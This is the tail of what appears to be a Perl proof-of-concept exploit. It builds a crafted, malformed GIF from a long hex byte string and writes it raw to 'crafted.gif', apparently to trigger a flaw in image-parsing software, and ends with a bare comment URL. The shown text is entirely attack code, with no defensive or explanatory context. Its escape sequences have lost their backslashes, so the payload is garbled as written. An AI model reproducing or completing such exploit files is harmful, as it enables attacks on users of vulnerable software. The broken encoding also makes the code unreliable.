"x00x05xFExE0x26x8Ex64x49x2Ax5Ax50x11x62x74x45x91".
"x60xCEx74x4Dx66x93x33x2Cx00x04x05xA2x4Bx63xD8x28".
"x5Cx64xB6xE4x2CxC3x18xF8x00x50x08x00xB8x11x12x89".
"x85x88x72xCBx74x42xA3xD2x5FxF0x4AxA6x20xB7x33x05".
"x46xDAx0Bx47xA7x63x32xF9x88x2Ex11x2Cx61xF7xD3x47".
"xB5xCAxAFx66x75x23x18x3Dx6Fx85x87x7Dx7Fx72x14x5A".
"x82x19x09x7Bx7Ax6Dx89x8Ax80x67x49x31x22x19x12x87".
"x6Fx6Cx94x95x0Dx81x5Bx02xA2x48x8Fx6Dx7Ax10x07x0C".
"x41x14xA1xA3x55x8Dx33x02xAFxA6x9Ax09x9Ex03x01x13".
"x0Ax24x02x11x08xB6x96x23x05xB7x33x7ExC7x8Fx3Ex12".
"x2Cx98xC6x43xB1xD0x0Dx17x33x11x8BxA7x18x0Cx19x75".
"xD7xA3x02xC9x0DxB3xC5x7FxB1x82x2Dx67xE1xA2x25xD7".
"x8AxE6xE7x22xE0x8AxE3xD3xD8xF0x25xEAx58x23xA5x95".
"xE3xF7x1Bx08x42x35xCAx37xA4xC0x3Fx13xC3xE4x54xDB".
"x50x8Fx8CxBFx83xFCxCAx6Dx88xB8xE8xE0x8Cx86x57x80".
"x55x42x60xD1x44xC0x79x1FxFFx3CxB4x48x91x0Cx02x82".
"xEFxDBx3AxD6x52xF4xE2xE4x05x97x27x39x76x34xE1x02".
"xE6x85x97x23x67xEAxDCx09x2FxD8xCBx98x27x73x5Ax44".
"x00xF4xE7x0Bx94x97x66xAExFCxF3xB2x1FxCFx89x1BxDB".
"xFDx91xB9x33xA4x9Cx18x09xAFx18xE4x49x21x2Bx11x19".
"x5Ex89x08x3Dx57x12x90x08xABx64xB6xCExC4x48x64xA1".
"x54x91x33xDFx5Ex25xE7x2Ex29x3Cx82xEBx46xC8x25x46".
"x92xA0xBFxB0x29xEBx08x38x83x91x02x4Dx7Bx13x5Fx08".
"x12x36xCAx85x43x64x7Cx19x16x1Cx1Bx6Fx9AxB4xB6x34".
"x96x7Ex6Bx58x00x41xA6x7Dx02x10x14x46x22x2Fx70x8B".
"xAExE9x2Ax31x3Ax1Bx96x48x2CxC5x36x3Ex4Bx16x18x07".
"x96xDDx2Dx78xC5x8Ax60x8BxB8x4Ex6ExDDx55x42x5DxA1".
"x4CxB3xF5x15x99xBFx45x11xA7xF5x1BxB9x70x3Ax07x23".
"x18x77xEEx6ExF9x96x08x6CxA9x97xB1x2Ex28x58x42xED".
"xA2xA0x3Fx2Dx01x2Cx68x0Bx9CxB7x95x84x00x00x3B";

open(C, ">:raw", "crafted.gif");
print C $crafted;
close(C);
 
# http://0xffe4.org